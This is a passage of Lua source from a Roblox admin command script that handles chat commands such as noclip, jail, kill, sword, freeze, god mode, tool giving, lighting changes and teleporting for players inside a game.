  398. script:Destroy()
  399. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  400. end
  401. end))
  402. end
  403. end
  404.  
  405. if msg:lower():sub(1,7) == "uncape " then
  406. local plrz = GetPlr(plr, msg:lower():sub(8))
  407. for i, v in pairs(plrz) do
  408. coroutine.resume(coroutine.create(function()
  409. if v and v:findFirstChild("PlayerGui") and v.Character then
  410. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  411. end
  412. end))
  413. end
  414. end
  415.  
  416. if msg:lower():sub(1,7) == "noclip " then
  417. local plrz = GetPlr(plr, msg:lower():sub(8))
  418. for i, v in pairs(plrz) do
  419. coroutine.resume(coroutine.create(function()
  420. if v and v:findFirstChild("PlayerGui") then
  421. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  422. cl.Parent = v.PlayerGui cl.Disabled = false
  423. end
  424. end))
  425. end
  426. end
  427.  
  428. if msg:lower():sub(1,5) == "clip " then
  429. local plrz = GetPlr(plr, msg:lower():sub(6))
  430. for i, v in pairs(plrz) do
  431. coroutine.resume(coroutine.create(function()
  432. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  433. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  434. v.Character.Torso.Anchored = false
  435. wait(.1) v.Character.Humanoid.PlatformStand = false
  436. end
  437. end))
  438. end
  439. end
  440.  
  441. if msg:lower():sub(1,5) == "jail " then
  442. local plrz = GetPlr(plr, msg:lower():sub(6))
  443. for i, v in pairs(plrz) do
  444. coroutine.resume(coroutine.create(function()
  445. if v and v.Character and v.Character:findFirstChild("Torso") then
  446. local vname = v.Name
  447. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  448. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  449. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  450. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  451. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  452. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  453. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  454. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  455. end)
  456. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  457. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  458. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  459. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  460. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  461. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  462. local msh2 = msh:Clone() msh2.Parent = back
  463. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  464. local msh4 = msh3:Clone() msh4.Parent = left
  465. v.Character.Torso.CFrame = cf
  466. end
  467. end))
  468. end
  469. end
  470.  
  471. if msg:lower():sub(1,7) == "unjail " then
  472. local plrz = GetPlr(plr, msg:lower():sub(8))
  473. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  474. end
  475.  
  476. if msg:lower():sub(1,11) == "starttools " then
  477. local plrz = GetPlr(plr, msg:lower():sub(12))
  478. for i, v in pairs(plrz) do
  479. coroutine.resume(coroutine.create(function()
  480. if v and v:findFirstChild("Backpack") then
  481. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  482. end
  483. end))
  484. end
  485. end
  486.  
  487. if msg:lower():sub(1,6) == "sword " then
  488. local plrz = GetPlr(plr, msg:lower():sub(7))
  489. for i, v in pairs(plrz) do
  490. coroutine.resume(coroutine.create(function()
  491. if v and v:findFirstChild("Backpack") then
  492. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  493. sword.GripForward = Vector3.new(-1,0,0)
  494. sword.GripPos = Vector3.new(0,0,-1.5)
  495. sword.GripRight = Vector3.new(0,1,0)
  496. sword.GripUp = Vector3.new(0,0,1)
  497. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  498. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  499. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  500. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  501. local Damage = 15
  502. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  503. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  504. SlashSound.Volume = 1
  505. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  506. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  507. LungeSound.Volume = 1
  508. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  509. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  510. UnsheathSound.Volume = 1
  511. local last = 0
  512. script.Parent.Handle.Touched:connect(function(hit)
  513. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  514. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  515. hit.Parent.Humanoid:TakeDamage(Damage)
  516. end
  517. end)
  518. script.Parent.Activated:connect(function()
  519. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  520. script.Parent.Enabled = false
  521. local tick = game:service("RunService").Stepped:wait()
  522. if tick - last <= .2 then
  523. LungeSound:play()
  524. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  525. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  526. wait(.2)
  527. script.Parent.GripForward = Vector3.new(0,0,1)
  528. script.Parent.GripRight = Vector3.new(0,-1,0)
  529. script.Parent.GripUp = Vector3.new(-1,0,0)
  530. wait(.3)
  531. frc:Destroy() wait(.5)
  532. script.Parent.GripForward = Vector3.new(-1,0,0)
  533. script.Parent.GripRight = Vector3.new(0,1,0)
  534. script.Parent.GripUp = Vector3.new(0,0,1)
  535. else
  536. SlashSound:play()
  537. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  538. end
  539. last = tick
  540. script.Parent.Enabled = true
  541. end)
  542. script.Parent.Equipped:connect(function(mouse)
  543. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  544. UnsheathSound:play()
  545. script.Parent.Enabled = true
  546. if not mouse then return end
  547. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  548. end)]] cl.Disabled = false
  549. end
  550. end))
  551. end
  552. end
  553.  
  554. if msg:lower():sub(1,5) == "kill " then
  555. local plrz = GetPlr(plr, msg:lower():sub(6))
  556. for i, v in pairs(plrz) do
  557. coroutine.resume(coroutine.create(function()
  558. if v and v.Character then v.Character:BreakJoints() end
  559. end))
  560. end
  561. end
  562.  
  563. if msg:lower():sub(1,8) == "respawn " then
  564. local plrz = GetPlr(plr, msg:lower():sub(9))
  565. for i, v in pairs(plrz) do
  566. coroutine.resume(coroutine.create(function()
  567. if v and v.Character then v:LoadCharacter() end
  568. end))
  569. end
  570. end
  571.  
  572. if msg:lower():sub(1,5) == "trip " then
  573. local plrz = GetPlr(plr, msg:lower():sub(6))
  574. for i, v in pairs(plrz) do
  575. coroutine.resume(coroutine.create(function()
  576. if v and v.Character and v.Character:findFirstChild("Torso") then
  577. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  578. end
  579. end))
  580. end
  581. end
  582.  
  583. if msg:lower():sub(1,5) == "stun " then
  584. local plrz = GetPlr(plr, msg:lower():sub(6))
  585. for i, v in pairs(plrz) do
  586. coroutine.resume(coroutine.create(function()
  587. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  588. v.Character.Humanoid.PlatformStand = true
  589. end
  590. end))
  591. end
  592. end
  593.  
  594. if msg:lower():sub(1,7) == "unstun " then
  595. local plrz = GetPlr(plr, msg:lower():sub(8))
  596. for i, v in pairs(plrz) do
  597. coroutine.resume(coroutine.create(function()
  598. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  599. v.Character.Humanoid.PlatformStand = false
  600. end
  601. end))
  602. end
  603. end
  604.  
  605. if msg:lower():sub(1,5) == "jump " then
  606. local plrz = GetPlr(plr, msg:lower():sub(6))
  607. for i, v in pairs(plrz) do
  608. coroutine.resume(coroutine.create(function()
  609. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  610. v.Character.Humanoid.Jump = true
  611. end
  612. end))
  613. end
  614. end
  615.  
  616. if msg:lower():sub(1,4) == "sit " then
  617. local plrz = GetPlr(plr, msg:lower():sub(5))
  618. for i, v in pairs(plrz) do
  619. coroutine.resume(coroutine.create(function()
  620. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  621. v.Character.Humanoid.Sit = true
  622. end
  623. end))
  624. end
  625. end
  626.  
  627. if msg:lower():sub(1,10) == "invisible " then
  628. local plrz = GetPlr(plr, msg:lower():sub(11))
  629. for i, v in pairs(plrz) do
  630. coroutine.resume(coroutine.create(function()
  631. if v and v.Character then
  632. for a, obj in pairs(v.Character:children()) do
  633. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  634. end
  635. end
  636. end))
  637. end
  638. end
  639.  
  640. if msg:lower():sub(1,8) == "visible " then
  641. local plrz = GetPlr(plr, msg:lower():sub(9))
  642. for i, v in pairs(plrz) do
  643. coroutine.resume(coroutine.create(function()
  644. if v and v.Character then
  645. for a, obj in pairs(v.Character:children()) do
  646. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  647. end
  648. end
  649. end))
  650. end
  651. end
  652.  
  653. if msg:lower():sub(1,5) == "lock " then
  654. local plrz = GetPlr(plr, msg:lower():sub(6))
  655. for i, v in pairs(plrz) do
  656. coroutine.resume(coroutine.create(function()
  657. if v and v.Character then
  658. for a, obj in pairs(v.Character:children()) do
  659. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  660. end
  661. end
  662. end))
  663. end
  664. end
  665.  
  666. if msg:lower():sub(1,7) == "unlock " then
  667. local plrz = GetPlr(plr, msg:lower():sub(8))
  668. for i, v in pairs(plrz) do
  669. coroutine.resume(coroutine.create(function()
  670. if v and v.Character then
  671. for a, obj in pairs(v.Character:children()) do
  672. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  673. end
  674. end
  675. end))
  676. end
  677. end
  678.  
  679. if msg:lower():sub(1,8) == "explode " then
  680. local plrz = GetPlr(plr, msg:lower():sub(9))
  681. for i, v in pairs(plrz) do
  682. coroutine.resume(coroutine.create(function()
  683. if v and v.Character and v.Character:findFirstChild("Torso") then
  684. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  685. end
  686. end))
  687. end
  688. end
  689.  
  690. if msg:lower():sub(1,4) == "age " then
  691. local plrz = GetPlr(plr, msg:lower():sub(5))
  692. for i, v in pairs(plrz) do
  693. coroutine.resume(coroutine.create(function()
  694. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  695. end))
  696. end
  697. end
  698.  
  699. if msg:lower():sub(1,5) == "fire " then
  700. local plrz = GetPlr(plr, msg:lower():sub(6))
  701. for i, v in pairs(plrz) do
  702. coroutine.resume(coroutine.create(function()
  703. if v and v.Character and v.Character:findFirstChild("Torso") then
  704. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  705. end
  706. end))
  707. end
  708. end
  709.  
  710. if msg:lower():sub(1,7) == "unfire " then
  711. local plrz = GetPlr(plr, msg:lower():sub(8))
  712. for i, v in pairs(plrz) do
  713. coroutine.resume(coroutine.create(function()
  714. if v and v.Character and v.Character:findFirstChild("Torso") then
  715. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  716. end
  717. end))
  718. end
  719. end
  720.  
  721. if msg:lower():sub(1,6) == "smoke " then
  722. local plrz = GetPlr(plr, msg:lower():sub(7))
  723. for i, v in pairs(plrz) do
  724. coroutine.resume(coroutine.create(function()
  725. if v and v.Character and v.Character:findFirstChild("Torso") then
  726. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  727. end
  728. end))
  729. end
  730. end
  731.  
  732. if msg:lower():sub(1,8) == "unsmoke " then
  733. local plrz = GetPlr(plr, msg:lower():sub(9))
  734. for i, v in pairs(plrz) do
  735. coroutine.resume(coroutine.create(function()
  736. if v and v.Character and v.Character:findFirstChild("Torso") then
  737. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  738. end
  739. end))
  740. end
  741. end
  742.  
  743. if msg:lower():sub(1,9) == "sparkles " then
  744. local plrz = GetPlr(plr, msg:lower():sub(10))
  745. for i, v in pairs(plrz) do
  746. coroutine.resume(coroutine.create(function()
  747. if v and v.Character and v.Character:findFirstChild("Torso") then
  748. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  749. end
  750. end))
  751. end
  752. end
  753.  
  754. if msg:lower():sub(1,11) == "unsparkles " then
  755. local plrz = GetPlr(plr, msg:lower():sub(12))
  756. for i, v in pairs(plrz) do
  757. coroutine.resume(coroutine.create(function()
  758. if v and v.Character and v.Character:findFirstChild("Torso") then
  759. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  760. end
  761. end))
  762. end
  763. end
  764.  
  765. if msg:lower():sub(1,3) == "ff " then
  766. local plrz = GetPlr(plr, msg:lower():sub(4))
  767. for i, v in pairs(plrz) do
  768. coroutine.resume(coroutine.create(function()
  769. if v and v.Character then Instance.new("ForceField", v.Character) end
  770. end))
  771. end
  772. end
  773.  
  774. if msg:lower():sub(1,5) == "unff " then
  775. local plrz = GetPlr(plr, msg:lower():sub(6))
  776. for i, v in pairs(plrz) do
  777. coroutine.resume(coroutine.create(function()
  778. if v and v.Character then
  779. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  780. end
  781. end))
  782. end
  783. end
  784.  
  785. if msg:lower():sub(1,7) == "punish " then
  786. local plrz = GetPlr(plr, msg:lower():sub(8))
  787. for i, v in pairs(plrz) do
  788. coroutine.resume(coroutine.create(function()
  789. if v and v.Character then
  790. v.Character.Parent = game:service("Lighting")
  791. end
  792. end))
  793. end
  794. end
  795.  
  796. if msg:lower():sub(1,9) == "unpunish " then
  797. local plrz = GetPlr(plr, msg:lower():sub(10))
  798. for i, v in pairs(plrz) do
  799. coroutine.resume(coroutine.create(function()
  800. if v and v.Character then
  801. v.Character.Parent = game:service("Workspace")
  802. v.Character:MakeJoints()
  803. end
  804. end))
  805. end
  806. end
  807.  
  808. if msg:lower():sub(1,7) == "freeze " then
  809. local plrz = GetPlr(plr, msg:lower():sub(8))
  810. for i, v in pairs(plrz) do
  811. coroutine.resume(coroutine.create(function()
  812. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  813. for a, obj in pairs(v.Character:children()) do
  814. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  815. end
  816. end
  817. end))
  818. end
  819. end
  820.  
  821. if msg:lower():sub(1,5) == "thaw " then
  822. local plrz = GetPlr(plr, msg:lower():sub(6))
  823. for i, v in pairs(plrz) do
  824. coroutine.resume(coroutine.create(function()
  825. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  826. for a, obj in pairs(v.Character:children()) do
  827. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  828. end
  829. end
  830. end))
  831. end
  832. end
  833.  
  834. if msg:lower():sub(1,5) == "heal " then
  835. local plrz = GetPlr(plr, msg:lower():sub(6))
  836. for i, v in pairs(plrz) do
  837. coroutine.resume(coroutine.create(function()
  838. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  839. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  840. end
  841. end))
  842. end
  843. end
  844.  
  845. if msg:lower():sub(1,4) == "god " then
  846. local plrz = GetPlr(plr, msg:lower():sub(5))
  847. for i, v in pairs(plrz) do
  848. coroutine.resume(coroutine.create(function()
  849. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  850. v.Character.Humanoid.MaxHealth = math.huge
  851. v.Character.Humanoid.Health = 9e9
  852. end
  853. end))
  854. end
  855. end
  856.  
  857. if msg:lower():sub(1,6) == "ungod " then
  858. local plrz = GetPlr(plr, msg:lower():sub(7))
  859. for i, v in pairs(plrz) do
  860. coroutine.resume(coroutine.create(function()
  861. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  862. v.Character.Humanoid.MaxHealth = 100
  863. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  864. end
  865. end))
  866. end
  867. end
  868.  
  869. if msg:lower():sub(1,8) == "ambient " then
  870. local chk1 = msg:lower():sub(9):find(" ") + 8
  871. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  872. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  873. end
  874.  
  875. if msg:lower():sub(1,11) == "brightness " then
  876. game.Lighting.Brightness = msg:sub(12)
  877. end
  878.  
  879. if msg:lower():sub(1,5) == "time " then
  880. game.Lighting.TimeOfDay = msg:sub(6)
  881. end
  882.  
  883. if msg:lower():sub(1,9) == "fogcolor " then
  884. local chk1 = msg:lower():sub(10):find(" ") + 9
  885. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  886. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  887. end
  888.  
  889. if msg:lower():sub(1,7) == "fogend " then
  890. game.Lighting.FogEnd = msg:sub(8)
  891. end
  892.  
  893. if msg:lower():sub(1,9) == "fogstart " then
  894. game.Lighting.FogStart = msg:sub(10)
  895. end
  896.  
  897. if msg:lower():sub(1,7) == "btools " then
  898. local plrz = GetPlr(plr, msg:lower():sub(8))
  899. for i, v in pairs(plrz) do
  900. coroutine.resume(coroutine.create(function()
  901. if v and v:findFirstChild("Backpack") then
  902. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  903. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  904. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  905. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  906. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  907. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  908. local sb
  909. local hs
  910. local pdist
  911.  
  912. script.Parent.Selected:connect(function(mouse)
  913. if not mouse then return end
  914. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  915. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  916. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  917. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  918. hs.MouseButton1Down:connect(function() pdist = 0 end)
  919. end)
  920.  
  921. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  922. end
  923. end))
  924. end
  925. end
  926.  
  927. if msg:lower():sub(1,5) == "give " then
  928. local chk1 = msg:lower():sub(6):find(" ") + 5
  929. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  930. for i, v in pairs(plrz) do
  931. coroutine.resume(coroutine.create(function()
  932. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  933. for a, tool in pairs(game.Lighting:children()) do
  934. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  935. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  936. end
  937. end
  938. end
  939. end))
  940. end
  941. end
  942.  
  943. if msg:lower():sub(1,12) == "removetools " then
  944. local plrz = GetPlr(plr, msg:lower():sub(13))
  945. for i, v in pairs(plrz) do
  946. coroutine.resume(coroutine.create(function()
  947. if v and v.Character and v:findFirstChild("Backpack") then
  948. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  949. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  950. end
  951. end))
  952. end
  953. end
  954.  
  955. if msg:lower():sub(1,5) == "rank " then
  956. local chk1 = msg:lower():sub(6):find(" ") + 5
  957. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  958. for i, v in pairs(plrz) do
  959. coroutine.resume(coroutine.create(function()
  960. if v and v:IsInGroup(msg:sub(chk1+1)) then
  961. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  962. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  963. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  964. end
  965. end))
  966. end
  967. end
  968.  
  969. if msg:lower():sub(1,7) == "damage " then
  970. local chk1 = msg:lower():sub(8):find(" ") + 7
  971. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  972. for i, v in pairs(plrz) do
  973. coroutine.resume(coroutine.create(function()
  974. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  975. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  976. end
  977. end))
  978. end
  979. end
  980.  
  981. if msg:lower():sub(1,5) == "grav " then
  982. local plrz = GetPlr(plr, msg:lower():sub(6))
  983. for i, v in pairs(plrz) do
  984. coroutine.resume(coroutine.create(function()
  985. if v and v.Character and v.Character:findFirstChild("Torso") then
  986. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  987. end
  988. end))
  989. end
  990. end
  991.  
  992. if msg:lower():sub(1,8) == "setgrav " then
  993. local chk1 = msg:lower():sub(9):find(" ") + 8
  994. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  995. for i, v in pairs(plrz) do
  996. coroutine.resume(coroutine.create(function()
  997. if v and v.Character and v.Character:findFirstChild("Torso") then
  998. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  999. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1000. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1001. end
  1002. end))
  1003. end
  1004. end
  1005.  
  1006. if msg:lower():sub(1,7) == "nograv " then
  1007. local plrz = GetPlr(plr, msg:lower():sub(8))
  1008. for i, v in pairs(plrz) do
  1009. coroutine.resume(coroutine.create(function()
  1010. if v and v.Character and v.Character:findFirstChild("Torso") then
  1011. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1012. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1013. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1014. end
  1015. end))
  1016. end
  1017. end
  1018.  
  1019. if msg:lower():sub(1,7) == "health " then
  1020. local chk1 = msg:lower():sub(8):find(" ") + 7
  1021. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1022. for i, v in pairs(plrz) do
  1023. coroutine.resume(coroutine.create(function()
  1024. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1025. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1026. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1027. end
  1028. end))
  1029. end
  1030. end
  1031.  
  1032. if msg:lower():sub(1,6) == "speed " then
  1033. local chk1 = msg:lower():sub(7):find(" ") + 6
  1034. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1035. for i, v in pairs(plrz) do
  1036. coroutine.resume(coroutine.create(function()
  1037. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1038. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1039. end
  1040. end))
  1041. end
  1042. end
  1043.  
  1044. if msg:lower():sub(1,5) == "team " then
  1045. local chk1 = msg:lower():sub(6):find(" ") + 5
  1046. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1047. for i, v in pairs(plrz) do
  1048. coroutine.resume(coroutine.create(function()
  1049. if v and game:findFirstChild("Teams") then
  1050. for a, tm in pairs(game.Teams:children()) do
  1051. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1052. end
  1053. end
  1054. end))
  1055. end
  1056. end
  1057.  
  1058. if msg:lower():sub(1,6) == "place " then
  1059. local chk1 = msg:lower():sub(7):find(" ") + 6
  1060. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1061. for i, v in pairs(plrz) do
  1062. coroutine.resume(coroutine.create(function()
  1063. if v and v:findFirstChild("PlayerGui") then
  1064. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
